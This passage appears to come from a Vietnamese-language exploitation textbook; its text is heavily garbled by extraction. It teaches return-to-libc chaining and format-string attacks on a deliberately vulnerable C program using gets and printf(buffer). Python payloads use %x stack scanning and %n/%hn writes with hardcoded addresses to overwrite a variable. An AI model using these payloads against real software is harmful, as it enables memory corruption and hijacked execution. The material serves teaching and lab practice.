c ti n vì b n đ c có th d dàng s d ng hai l nh printf và exit là đ . regular@exploitation:~/src$ python -c ’print "\x00"*(0x10+4+4) + "\x70\x23\xEF\x B7" + "\xF0\x22\xEF\xB7" + "\x54\xFA\xFF\xBF" + "\x5C\xFA\xFF\xBF" + "\xE0\x92\x ED\xB7" + "\x5C\xFA\xFF\xBF" + "You win!"’ | . chúng ta có th s d ng ng. • Các công c như objdump.

• Quay v thư vi n chu n là k thu t tương t như quay v . Đôi khi nó đòi h i s nghiên c u t m . hay ngay c tên chương trình. • Có nhi u cách đ n p d li u vào vùng nh c a m t chương trình như thông qua vi c nh p d li u thông thư ng. Chúng ta có th dùng GDB đ tìm đ a ch các hàm trong b thư vi n chu n.7. tính toán chi ti t và sáng t o trong vi c bi n chuy n các k thu t cơ b n.text nhưng con tr l nh s ch t i các hàm trong b thư vi n chu n thay vì ch t i các l nh c a chương trình. và tên c a các bi n môi trư ng. Vi c t n d ng l i cũng là m t quá trình th -sai-th -l i đ tìm ra nhi u cách th c m i và so sánh s thay đ i trong ho t đ ng c a chương trình.text c a chương trình.3. Vi c xác đ nh vai trò các ô ngăn x p là m u ch t thành công các k thu t thay đ i lu ng th c thi. M i ký t tăng thêm tên chương trình làm gi m hai đơn v đ a ch bi n môi trư ng. Chúng ta có th liên k t nhi u l n quay v thư vi n chu n v i nhau đ th c hi n nhi u tác v trong m t l n t n d ng. TÓM T T VÀ GHI NH 71 • GDB là m t chương trình g r i cho phép chúng ta kh o sát quá trình th c thi c a m t chương trình m t cách tương tác. • Quay v b n thân chương trình là k thu t thay đ i lu ng th c thi c a chương trình thông qua vi c thay đ i đ a ch tr v c a m t hàm đ con tr l nh ch đ n phân đo n . • Đ a ch các bi n môi trư ng r t nh y c m v i các thay đ i v s lư ng. • Đôi khi vi c t n d ng l i ch đơn gi n là t o liên k t m m ho c đ i tên t p tin. Đi u này đem l i cho chúng ta m t kho công c l n khi s d ng phương pháp quay v thư vi n chu n b i vì m i hàm trong thư vi n đ u có th đư c t n d ng m c dù b n thân chương trình không tham chi u t i các hàm đó. • Thư vi n chu n đư c s d ng trong h u h t m i chương trình. ho c các bi n môi trư ng. . n i dung. Chúng ta ph i đ m b o hai chương trình có cùng m t môi trư ng th c thi thì đ a ch các bi n môi trư ng m i như nhau. ho c các tham s dòng l nh. V trí đ t d li u cũng c n đư c lưu ý đ tránh b chèn l p b i vùng nh ngăn x p c a các hàm khác.

TRÀN B Đ M main system exit dẫn nhập dẫn nhập dẫn nhập printf thân thân gets kết thúc kết thúc cookie= 000D0A00 không bằng printf kết thúc Hình 3.72 CHƯƠNG 3.14: K t n i hai l n quay v system và exit .

1 2 3 4 1 2 3 4 int main ( ) { p r i n t f ( "One p e r c e n t i s w r i t t e n a s 1%\n" ) . n. B n đ c s chú ý th y thi u m t d u ph n trăm trong k t qu th hai. . Chúng ta s d ng printf trong các ví d Chu i “You win!” là tham s đ u tiên c a printf. Đi u này ch ng t printf không đơn gi n in tham s th nh t như đư c truy n vào. Chúng ta hãy th th c thi m t vài chương trình nh sau. mà đã có nh ng x lý nh t đ nh đ i v i tham s này. Tài li u hàm printf cho bi t ký t d u ph n trăm (%) có ý nghĩa đ c bi t trong chu i đ nh d ng. . } int main ( ) { p r i n t f ( "One thousandth i s w r i t t e n a s 1%%\n" ) .1 Khái ni m nh ng ph n trư c như sau: printf(“You win!”).v. Nó đánh d u s b t đ u c a m t yêu c u đ nh d ng (conversion specification). fprintf. M t s các ký t đ nh d ng có th có bao g m %. 73 . v. 4. nguy hi m tương t và d b t n d ng hơn l i tràn b đ m là các l i liên quan đ n chu i đ nh d ng. và tham s này có m t vai trò đ c bi t đ i v i printf : nó xác đ nh ki u hi n th c a nh ng tham s sau. c. Chu i đ nh d ng còn đư c s d ng trong các hàm cùng h v i printf như sprintf. và đo n mã th hai in One thousandth is written as 1%. hn. x.Chương 4 Chu i đ nh d ng Ph bi n. tham s đ u tiên c a printf đư c g i là chu i đ nh d ng (format string). Yêu c u đ nh d ng đư c k t thúc b i m t ký t đ nh d ng (conversion specifier). X. Chính vì v y. } Đo n mã đ u tiên in ra One percent is written as 1%. vsprintf. s.

regular@exploitation:~/src$ . Đây là lý do vì sao đo n mã th hai ch in m t ký t ph n trăm. x in tham s như m t s th p l c phân. s d ng các ký t thư ng. Các ký t đ nh d ng này có th nh n thêm tham s . chúng ta s nh n đư c dòng ch ! 12345678. n vi t vào v trí đư c ch t i b i tham s s lư ng ký t (là m t s nguyên 4 byte) đã đư c in ra màn hình. N u không đư c ch rõ1 . thì tham s đư c s d ng s là tham s k . Khi nh p vào abcdef. Tham s đ u tiên là 0x87654321. 4.4. M c đích c a chương trình là nh n d li u nh p c a ngư i dùng và xu t chu i đã đư c nh p ra màn hình. chương trình truy n th ng chu i này làm tham s th nh t c a printf.4 . Khi th c thi. chương trình in ra k t qu khá l l m. sau khi nh n d li u.74 CHƯƠNG 4.1. hn tương t như n nhưng ch vi t 2 byte th p thay vì toàn b 4 byte. chương trình s in ra chính chu i abcdef. và tham s cho yêu c u đ nh d ng th hai là 0x12345678. Tuy nhiên. 1 2 3 4 int main ( ) { p r i n t f ( "%c %X\n" . 0 x12345678 ) . c in tham s như m t ký t . 1 chúng ta s nói v vi c xác đ nh tham s trong Ti u m c 4. CHU I Đ NH D NG % in ra chính ký t ph n trăm.2 Quét ngăn x p Chúng ta s xem xét ví d Ngu n 4. tham s đ u tiên có v trí 1. 0 x87654321 . Ví d bên dư i có hai yêu c u đ nh d ng là %c và %X./fmt &cookie: 0xbffff854 abcdef cookie = 00000000 abcdef cookie = 00000000 regular@exploitation:~/src$ Tuy nhiên. s in chu i t i v trí ch t i b i tham s . } Gi a ký t ph n trăm và ký t đ nh d ng còn có nh ng t ch n khác mà chúng ta s xem xét d c theo nh ng bài t p c a ph n này. khi nh p vào %x. X tương t như x nhưng s d ng các ký t hoa. thay vì truy n như các tham s cho chu i đ nh d ng.

8X\n" ./fmt &cookie: 0xbffff854 %x cookie = 00000000 0 cookie = 00000000 regular@exploitation:~/src$ Chương trình in ra 0.c 75 regular@exploitation:~/src$ .   D ng đ c và suy nghĩ Vì sao chúng ta nh n đư c chu i s đó?  Chúng ta nh p vào %x %x %x %x. &c o o k i e ) . 11 p r i n t f ( " \ n c o o k i e = %. h> 2 3 int main ( int argc .8X\n" . 7 p r i n t f ( "&c o o k i e : %p\n" . L nh printf này có b n yêu c u đ nh d ng %x nên nó c n s d ng b n tham s nhưng không có tham s nào đư c truy n vào. c o o k i e ) . Như v y printf s l y giá tr nào đ in ra màn hình?  . char ∗∗ argv ) 4 { 5 char b u f f e r [ 5 1 2 ] .2. QUÉT NGĂN X P 1 #include <s t d i o . 13 } Ngu n 4. Đi u này s làm chương trình th c hi n l nh g i printf(“%x %x %x %x”). regular@exploitation:~/src$ . 6 int c o o k i e = 0 . 10 printf ( buffer ).1: fmt./fmt &cookie: 0xbffff854 %x %x %x %x cookie = 00000000 0 0 0 6 cookie = 00000000 regular@exploitation:~/src$ Chu i nh n đư c là 0 0 0 6. 8 gets ( buffer ) .4. Th l i v i chu i %x %x %x %x cho ta k t qu như bên dư i. 9 p r i n t f ( " c o o k i e = %. 12 return 0 . c o o k i e ) .

Cho nên khi g p các yêu c u đ nh d ng có nh n tham s . d li u mà chúng ta nh n đư c l i chính là chu i mà chúng ta đã nh p vào. chúng ta s g p trư ng h p sau: regular@exploitation:~/src$ . Khi đư c bi u di n thành các ô ngăn x p như trong Hình 4. và 6. V i yêu c u đ nh d ng %x. Do đó. nhưng chúng ta bi t các ô ngăn x p đó ph i có giá tr như v y.2. Đây là m t tính năng mà l i chu i đ nh d ng đem l i cho ngư i t n d ng. chúng ta có th xác đ nh đư c giá tr các ô nh ngăn x p. Chúng ta không bi t t i sao giá tr c a các ô ngăn x p là 0. Hình Hình 4. Tuy nhiên. printf ch đơn gi n th c hi n tác v l y d li u v trí tương ng trên ngăn x p và x lý chúng theo yêu c u.1 minh h a các ô ngăn x p ph i có khi chu i in ra là 0 0 0 6. 0. và s thi u h t b n ô ngăn x p này trư ng h p sau. 3. 4).76 CHƯƠNG 4. . chúng ta có th nh n ra ngay giá tr 25207825 chính là b n ký t %x %. b t đ u t tham s 10. 4. 1. 0. printf(“%x %x %x %x”. t c khi đã trong thân hàm. CHU I Đ NH D NG Hãy xem xét trư ng h p m t l nh printf tương t nhưng v i đ y đ tham s s đư c trình biên d ch chuy n sang h p ng như th nào. Không ch v y. printf không th bi t trư c khi đư c g i đã có 4 l nh PUSH thi t l p ngăn x p hay chưa./fmt &cookie: 0xbffff854 %x %x %x %x %x %x %x %x %x %x %x %x cookie = 00000000 0 0 0 6 b7ead8e0 fffff 51 0 0 25207825 78252078 20782520 cookie = 00000000 regular@exploitation:~/src$ Chu i 25207825 78252078 20782520 có v đ c bi t. b n ký t b t đ u chu i nh p. 2. hàm printf ch có th bi t đư c 4 yêu c u đ nh d ng khi đã th c thi.3 G p l i d li u nh p N u chúng ta ti p t c quét ngăn x p v i các yêu c u đ nh d ng %x. S đư c chuy n thành các dòng tương t như sau: PUSH PUSH PUSH PUSH PUSH CALL 4 3 2 1 buffer printf So v i l nh thi u tham s : PUSH buffer CALL printf S khác bi t là b n ô ngăn x p ch a giá tr xác đ nh trong trư ng h p đ u.

THAY Đ I BI N COOKIE 77 tham số 4 . đ n m t lúc nào đó chúng ta s g p l i bi n buffer.12...1: Tham s c a yêu c u đ nh d ng   D ng đ c và suy nghĩ Đ c gi có th gi i thích t i sao không?  Chúng ta bi t r ng kh năng quét ngăn x p là m t trong nh ng đi m chúng ta có th l i d ng trong l i tràn b đ m.4. tham số 3 06 00 00 tham số 2 00 00 00 00 00 00 00 00 00 00 00 00 00 địa chỉ chuỗi định dạng tham số 1 địa chỉ trở về của printf ebp cũ biến nội bộ của printf . Hình 4.  4. Ví d đ truy n s 41414141 thì chúng ta s nh p b n ký t A đ u chu i. vùng nh c a printf n m dư i vùng nh c a main. khi ta quét ngăn x p t dư i lên.4 Thay đ i bi n cookie Yêu c u đ nh d ng %n ghi vào vùng nh đư c ch t i b i tham s c a nó s lư ng ký t đã đư c in ra màn hình nên đ ghi m t d li u b t kỳ vào m t vùng . Chúng ta s c n nh v trí này vì nó cho phép chúng ta truy n tham s vào các yêu c u đ nh d ng. Nh l i r ng bi n buffer c a chúng ta cũng đư c đ t trong ngăn x p.. Do đó. buffer b t đ u t tham s 10. Trong ví d này. Và như đã mô t trong Hình 2.4.. và đ m b o r ng yêu c u đ nh d ng %x s d ng tham s th 10.

chúng ta s c n đ t b n ký t có mã ASCII l n lư t 54. và BF đ u chu i. Vì chúng ta có th truy n tham s cho %n nên y u t th nh t tr thành xác đ nh đ a ch c a vùng nh .. Trong nh ng th nghi m trư c. F8.78 CHƯƠNG 4. CHU I Đ NH D NG . Ngu n 4. Ví d như đ thay đ i giá tr c a bi n cookie. chèn thêm chín yêu c u đ nh d ng có s d ng tham s . chúng ta đã x d ng hàng lo t yêu c u đ nh d ng %x cho nên giá tr (và do đó đ dài) c a t ng các ký t đư c in ra b i chín %x chúng ta có th xác đ nh đư c (1 + 1 + 1 + 1 + 8 + 5 + 2 + 1 + 1 = 15).2: G p l i d li u nh p nh ta s c n hai y u t : • Truy n đ a ch c a vùng nh làm tham s cho %n. Đ đơn gi n hóa vi c xác đ nh đ a ch bi n cookie. • Ki m soát s lư ng ký t đư c in ra màn hình trư c khi th c hi n %n.1 đã in đ a ch đó ra màn hình. 20 78 tham số 10 "%x %" 25 00 00 51 FF E0 06 00 00 tham số 1 00 25 20 78 00 00 00 FF D8 00 00 00 00 78 25 20 00 00 00 0F EA 00 00 00 00 20 78 25 00 00 00 00 B7 00 00 00 00 . chúng ta ph i bi t đ a ch c a bi n cookie. m t s lư ng ký t đ đ m b o t ng s ký t đã in là 100 (th p phân).1 Mang giá tr 0x64 M c tiêu c a chúng ta là làm cho giá tr cookie tr thành 64 sau khi th c hi n l nh printf. 4.4. Đ a ch đó là BFFFF854. và yêu c u đ nh d ng th mư i s là %n... Như v y. Hình 4. Như . Chúng ta s xem xét m t vài phương pháp đ ki m soát y u t th hai.. FF.

và 15 ký t c a chín %x) s dài 64 − 15 − 4 = 4B hay 75 (th p phân) ký t . vi c duy nh t chúng ta c n làm là thêm vào ph n đ m m t lư ng ký t 100 − 64 = 9C.4.3 Mang giá tr 0x300 Đ cookie mang giá tr 300. nhưng ta cũng vư ng ph i l i phân đo n./fmt &cookie: 0xbffff854 cookie = 00000000 T#####06b7ead8e0fffff5100aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa cookie = 00000300 Segmentation fault regular@exploitation:~/src$ M c dù đ t đư c giá tr như mong mu n./fmt &cookie: 0xbffff854 cookie = 00000000 T#####06b7ead8e0fffff5100aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa cookie = 00000100 regular@exploitation:~/src$ 4. vi c duy nh t chúng ta c n làm là thêm vào ph n đ m m t lư ng ký t 300 − 64 = 29C.4.2 Mang giá tr 0x100 Đ cookie mang giá tr 100. THAY Đ I BI N COOKIE 79 v y. . regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF%x%x%x%x%x%x%x%x%x " + "a"*75 + "%n"’ | . regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF%x%x%x%x%x%x%x%x%x " + "a"*(0x4B+0x29C) + "%n"’ | .4. regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF%x%x%x%x%x%x%x%x%x " + "a"*(0x4B+0x9C) + "%n"’ | . chu i đ m (ngoài 4 ký t đ u chu i xác đ nh đ a ch bi n cookie.4./fmt &cookie: 0xbffff854 cookie = 00000000 T#####06b7ead8e0fffff5100aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaa cookie = 00000064 regular@exploitation:~/src$ 4.

chúng ta ph i nh p vào ít hơn. Đ tránh l i phân đo n. Chúng ta ch s d ng t ng c ng 4 + 8 ∗ 3 + 5 + 2 = 23 ký t đ đ t đư c m c đích. Ví d n u s d ng %x thì đ dài t i đa là 8. yêu c u th 9 s đư c xác đ nh đ dài là 300 − 4 − 8 ∗ 8 = 2BC (700 th p phân). đ vi t 300 vào cookie. nên chúng ta ph i xác đ nh đ dài chu i in ra t i thi u là 8. ta s dùng 4 byte đ u xác đ nh đ a ch cookie. 0x12345678). đ in m t s nguyên theo d ng th p l c phân v i đ dài 12 thì ta s d ng l nh printf(“%18X”.80  CHƯƠNG 4. Gi đây. 2E7 ký t đ m và 2 ký t %n đ nh p vào chương trình./fmt &cookie: 0xbffff854 cookie = 00000000 T##### 0 0 0 6b7ead8e0 fffff 51 0  12345678. L nh này s in ra màn hình chu i printf(“%2X”. Do đó. Ví d . Tùy ch n này là m t chu i các ch s th p phân b t đ u b ng m t s khác 0. M t trong nh ng tùy ch n gi a ký t ph n trăm và ký t đ nh d ng là đ dài t i thi u c a d li u đư c printf in ra. và yêu c u %n cu i. hay %700x. Đ đ m b o chúng ta ki m soát đư c đ dài chu i in ra. t t nh t chúng ta c gi s d li u s có đ dài t i đa. 9 c p ký t %x k . đ dài này ch là đ dài t i thi u. khi n hàm main tr v m t đ a ch không đư c ánh x . CHU I Đ NH D NG  D ng đ c và suy nghĩ T i sao chúng ta l i m c ph i l i ph n đo n?  Chúng ta dùng 4 ký t đ u. Vì bi n buffer ch đư c c p 512 th p phân (200 th p l c phân) ký t nên chúng ta đã làm tràn bi n buffer. chúng ta s nh n đư c 12345678. k t i 8 yêu c u đ nh d ng %8x. Tuy nhiên. S ký t này đư c chép th ng vào bi n buffer. thay cho 2FF ký t như trên. d n đ n l i phân đo n. v i l nh 0 cookie = 00000300 regular@exploitation:~/src$ . 0x12345678). T ng c ng chúng ta s d ng 4+9∗2+2E7+2 = 2F F ký t . N u d li u c n in ra dài hơn đ dài đư c ch đ nh thì toàn b d li u v n đư c in ra mà không b c t đi. regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF" + "%8x" * 8 + "% 700x" + "%n"’ | . nhưng v n đ m b o printf in ra cùng s lư ng ký t .

4. Ví d khi nh p AAAA%10$x thì chúng ta s nh n đư c chu i AAAA41414141. regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF" + "%2271560477x" + "%10$n"’ | . ch s d ng m t %x và m t %n N u đã ki m soát đư c s lư ng ký t đư c in ra màn hình thì th t ra chúng ta cũng ch c n m t yêu c u đ nh d ng %x là đ .4.4. regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF" + "%764x" + "%10 $n"’ | . Chúng ta s v n c n 4 byte xác đ nh v trí bi n cookie. THAY Đ I BI N COOKIE 81 4. V trí tham s là m t chu i s nguyên dương t n cùng b i d u đ ng ($)./fmt &cookie: 0xbffff854 cookie = 00000000 T##### cookie = 00000005 regular@exploitation:~/src$ . May m n thay m t trong các tùy ch n c a yêu c u đ nh d ng là v trí tham s .4 Mang giá tr 0x300. thay vì tham s theo sau %x đó (t c tham s th 2)./fmt &cookie: 0xbffff854 AAAA%10$x cookie = 00000000 AAAA41414141 cookie = 00000000 regular@exploitation:~/src$ Vi c gán 300 vào cookie bây gi có th đư c đơn gi n hóa như trong hình ch p. regular@exploitation:~/src$ . sau đó ta dùng đ dài 300 − 4 = 2F C hay 764 cho yêu c u x. và k t thúc v i yêu c u n s d ng tham s th 10. Tùy ch n này ph i đi theo ngay sau d u ph n trăm b t đ u yêu c u đ nh d ng. Vư ng m c duy nh t là chúng ta ph i đ m b o %n v n s d ng tham s th 10.4.5 Mang giá tr 0x87654321 Đ cookie mang giá tr 87654321./fmt &cookie: 0xbffff854 cookie = 00000000 T##### 0 cookie = 00000300 regular@exploitation:~/src$ 4. chúng ta ch c n s a đ dài c a đ nh d ng x thành 87654321 − 4 = 8765431D hay 2271560477 th p phân.

/fmt &cookie: 0xbffff854 cookie = 00000000 T#######V####### 0 0 0 6 cookie = 87654321 regular@exploitation:~/src$  . chúng ta s c n ba thông tin: • Đ a ch ghi vào • V trí tham s truy n vào yêu c u đ nh d ng • Giá tr mu n ghi V i b n l n ghi. Đ in 43 ký t ra màn hình. 43. và BFFFF857. Giá tr mu n ghi c a m i l n ghi s là 21. BFFFF855. 65. CHU I Đ NH D NG 43 21 22 65 43 22 87 65 22 B ng 4. Vi c tính toán s lư ng ký t đ m trư c m i l n ghi đư c tóm t t trong B ng 4. Do đó thay vì ghi m t l n m t giá tr l n. b n byte b t đ u t v trí BFFFF854 ph i có giá tr l n lư t là 21.1: Tính s lư ng ký t đ m Có v như printf không ho t đ ng theo ý chúng ta mu n. chúng ta s c n in thêm 11 ký t n a. ngoài 21 ký t v a đư c in. 12. và 87. 43. Ngay c trong trư ng h p đ dài này đư c ch p nh n. ngoài tr 16 ký t xác đ nh 4 đ a ch đã nêu. regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF\x55\xF8\xFF\xBF\x 56\xF8\xFF\xBF\x57\xF8\xFF\xBF" + "%" + str(0x11) + "x%10$n" + "%" + str(0x22) + "x%11$n" + "%" + str(0x22) + "x%12$n" + "%" + str(0x22) + "x%13$n"’ | . 11. chúng ta còn c n thêm 22 ký t n a v. V i m i l n ghi. 87. . Lý do r t có th vì đ dài quá l n nên đã b b qua. Đ in 21 ký t ra màn hình. Vì chúng ta ghi t ng byte t th p t i cao nên đ a ch c a b n l n ghi này s l n lư t là BFFFF854.1. chúng ta s c n b n đ a ch đ ghi vào. BFFFF856. 65. Dòng l nh t n d ng c a chúng ta s tương t như trong hình ch p sau. B n đ a ch này có th đư c đ t đ u chu i theo th t đó nên các tham s truy n vào yêu c u đ nh d ng s l n lư t là 10.   D ng đ c và suy nghĩ Chúng ta có th dùng cách gì đây?  Đ cookie có giá tr 87654321. . chúng ta có th chia ra làm b n l n ghi v i b n giá tr nh . 13. chúng ta cũng s ph i ch đ i m t kho ng th i gian khá lâu đ printf in h t t t c trên hai t ký t ! Do đó chúng ta s c n nghĩ ra m t cách khác.82 Mu n đ t Đã có C n thêm 21 10 11 CHƯƠNG 4.v.

234. Các byte dư ra s b l n ghi k ti p đè l p m t.6 Mang giá tr 0x12345678 Đ cookie mang giá tr 12345678 thì b n byte b t đ u t v trí c a cookie s ph i l n lư t mang giá tr 78. 34. regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF\x55\xF8\xFF\xBF\x 56\xF8\xFF\xBF\x57\xF8\xFF\xBF" + "%" + str(0x78-16) + "x%10$n" + "%" + str(0x15 6-0x78) + "x%11$n" + "%" + str(0x234-0x156) + "x%12$n" + "%" + str(0x312-0x234) + "x%13$n"’ | . Tuy nhiên. 56. hay 269. Câu l nh t n d ng l i c a chúng ta s tương t như hình ch p sau.3 miêu t t m s thay đ i c a b nh l n lư t qua b n l n ghi và các byte b lem. vì chúng ta ch quan tâm t i m t byte cu i nên 69. D a vào nh n xét v s quay vòng c a byte cu i này.4. hay 169.4.   D ng đ c và suy nghĩ Chúng ta có th ghi vào đ a ch cao trư c khi ghi vào đ a ch th p không?  '  $ D ng đ c và suy nghĩ C n in thêm bao nhiêu ký t khi đã in đư c 78 ký t đ đ t đư c m t byte 56 khi ghi? & Chúng ta không có cách đ gi m s lư ng ký t đã in. THAY Đ I BI N COOKIE 83 4. 156. và 312. Áp d ng cách tính s lư ng ký t đ m như trên khi n chúng ta vư ng ph i giá tr âm (ví d như 56 − 78). chúng ta s th c hi n b n l n ghi v i các giá tr l n lư t là 78. hay 33369 cũng đ u đem l i cùng m t giá tr byte cu i 69. Cũng chính vì lý do b đè l p này nên chúng ta không th khi theo th t t cao xu ng th p vì l n ghi th hai s phá h ng giá tr đã đư c ghi l n ghi th nh t. 12. Các giá tr này đ m b o khi l y hi u c a s sau và s trư c s cho k t qu không âm./fmt &cookie: 0xbffff854 cookie = 00000000 T#######V####### 0 % 0 0 6 cookie = 12345678 regular@exploitation:~/src$ . Hình 4. ho c đơn gi n là n m ngoài vùng b n byte c a bi n cookie ta đang quan tâm. và tương t cũng s b l n ghi th ba phá h ng.4.

Hình 4. Hình 4. .3: Các l n ghi Ghi t ng byte như chúng ta th c hi n ch là m t trong nh ng cách c t giá tr c n ghi thành nh ng ph n t nh hơn... Chúng ta s s d ng cách c t 1-1-1-1 do đó b n tr c n ghi s là 101. 102 103.0x78) + "x%11$hn" + "%" + str(0x1234 ..84 CHƯƠNG 4.. 04. 03..8) + "x%10$hn" + "%" + str(0x11234 . 4.0x5678) + "x%11$hn"’ | .... 1-1-1-1 là ki u c t cơ b n nh t đã đư c chúng ta trình bày đây. 2-2 là cách c t t t nh t vì v a s d ng ít l n ghi nh t và đ m b o không b lem khi s d ng v i hai đ nh d ng hn..4 th hi n m t vài cách c t khác.. Hình 4.. 02.0x156) + "x%12$hn"’ | .. .12) + "x%10$n" + "%" + str(0x156 . B n đ c th y r ng ch giá tr đ u tiên hơn 16 (th p phân) ký t xác đ nh 4 đ a ch nên m i đư c chuy n thành .7 Đ ph giá nh Mang giá tr 0x04030201 cookie mang giá tr 04030201 thì b n byte b t đ u t v trí bi n cookie s i có giá tr 01. . 1-1-2 có th đư c s d ng v i n–n–hn n u ch p nh n b lem 1 byte.. các byte lem không xác định Lần Lần Lần Lần 1 2 3 4 cookie Hình 4. .. và nhi u nh t là 3 byte tùy theo s ph i h p c a đ nh d ng n và hn. ... hay n–hn– hn đ tránh b lem. CHU I Đ NH D NG bị thay đổi BFFFF854 BFFFF857 XX .. Ki u c t này s b lem ít nh t 1 byte./fmt.5b miêu t cách ho t đ ng c a dòng l nh python -c ’print "\x54\xF8\xFF\xBF\x55\xF8\xFF\xBF" + "\x56\xF8\xFF\xBF" + "%" + str(0x78 .. 104. . ./fmt.. XX 78 78 78 78 XX 00 56 56 56 XX 00 01 34 34 XX 00 00 02 12 XX XX 00 00 00 XX XX XX 00 00 XX XX XX XX 00 .5a bi u di n cách ho t đ ng c a dòng l nh python -c ’print "\x54\xF8\xFF\xBF\x56\xF8\xFF\xBF" + "%" + str(0x5678 .4. ..

2-2 65 87 21 43 65 87 4.4.4: Các cách c t thông d ng 85 . THAY Đ I BI N COOKIE BFFFF854 1-1-2 21 1-2-2 1-1-1-1 21 43 21 43 XX 65 87 43 65 87 21 43 BFFFF857 65 87 Hình 4.

5: Các cách c t ...... .. XX Lần 1 . Lần 1 ... 78 XX 00 56 56 BFFFF857 XX 00 01 34 XX 00 00 12 ..... . cookie (b) C t 1-2-2 v i n-hn-hn Hình 4.... . 78 Lần 3 . cookie (a) C t 2-2 v i hn BFFFF854 ..86 CHƯƠNG 4. Lần 2 ...... 78 56 XX XX ...... CHU I Đ NH D NG BFFFF854 BFFFF857 .. XX XX XX XX . 78 Lần 2 . 78 56 34 12 ..

4.4.8 L p l i v i chu i nh p b t đ u b ng BLUE MOON Chúng ta s l p l i ví d trên v i yêu c u chu i nh p vào đư c b t đ u b ng 9 ký t BLUE MOON. Vì 102 − 101 = 1 và cũng như 103 − 102 = 1. vì đã in đư c thêm C (9 + 3) byte nên công th c tính toán s lư ng c n đư c đi u ch nh theo. Khi chu i nh p vào b t đ u v i 9 ký t này. 12. Cu i cùng. Do đó. Đ đ m b o đ dài c a chu i luôn luôn chính xác. Hơn n a. các tham s 10. regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF\x55\xF8\xFF\xBF\x 56\xF8\xFF\xBF\x57\xF8\xFF\xBF" + "%" + str(0x101-16) + "x%10$n" + "%" + str(0x1 02-0x101) + "x%11$n" + "%" + str(0x103-0x102) + "x%12$n" + "%" + str(0x104-0x103 ) + "x%13$n"’ | ./fmt &cookie: 0xbffff854 cookie = 00000000 T#######V####### 0006 cookie = 04030201 regular@exploitation:~/src$ N u b n đ c đ ng ý v i dòng l nh t n d ng trên thì b n đã quên m t nh ng gì chúng ta bàn đ n trong Ti u m c 4. và 12 đã b chu i BLUE MOON chi m m t nên chúng ta ch có th b t đ u s d ng t tham s 13. . chu i t n d ng c a chúng ta s g m 9 ký t BLUE MOON như yêu c u. r i đ nh d ng n v i tham s 13. 11. 16. theo sau b i đ nh d ng x v i đ dài 101 − C − 10. Trong ví d này. 13 ví d trư c s c n đ i thành 13. theo sau b i 16 ký t xác đ nh 4 đ a ch . 14. 16. m i xác đ nh đ dài trong yêu c u đ nh d ng ph i ít nh t có giá tr là đ dài t i đa c a ki u d li u đư c in. Dòng l nh t n d ng c a chúng ta tương t như hình ch p dư i. regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF\x55\xF8\xFF\xBF\x 56\xF8\xFF\xBF\x57\xF8\xFF\xBF" + "%" + str(0x101-16) + "x%10$n" + "a%11$n" + "a %12$n" + "a%13$n"’ | . Vì tham s th 10. m t ký t b t kỳ. 11. chu i BLUE MOON ch chi m 1 byte c a tham s 12 nên chúng ta cũng c n thêm 3 ký t b t kỳ đ l p ch tr ng này. tr ng thái ngăn x p c a chúng ta s như trong Hình 4.4. đ nh d ng n v i tham s 14. Tóm l i. 104 − 103 = 1 nh hơn 8 nên chúng ta s thay th c m %x v i m t ký t b t kỳ.3. THAY Đ I BI N COOKIE 87 101./fmt &cookie: 0xbffff854 cookie = 00000000 T#######V####### 0aaa cookie = 04030201 regular@exploitation:~/src$ 4. và tương t v i tham s 15. Các giá tr khác ch đơn gi n là c ng d n vào giá tr trư c nó đ đ m b o byte cu i phù h p v i giá tr mong mu n. 3 ký t b t kỳ đ l p tham s 12. %x s in t i đa 8 ký t do đó chúng ta ch nên dùng %x v i xác đ nh đ dài l n hơn ho c b ng 8.6.4. 15.

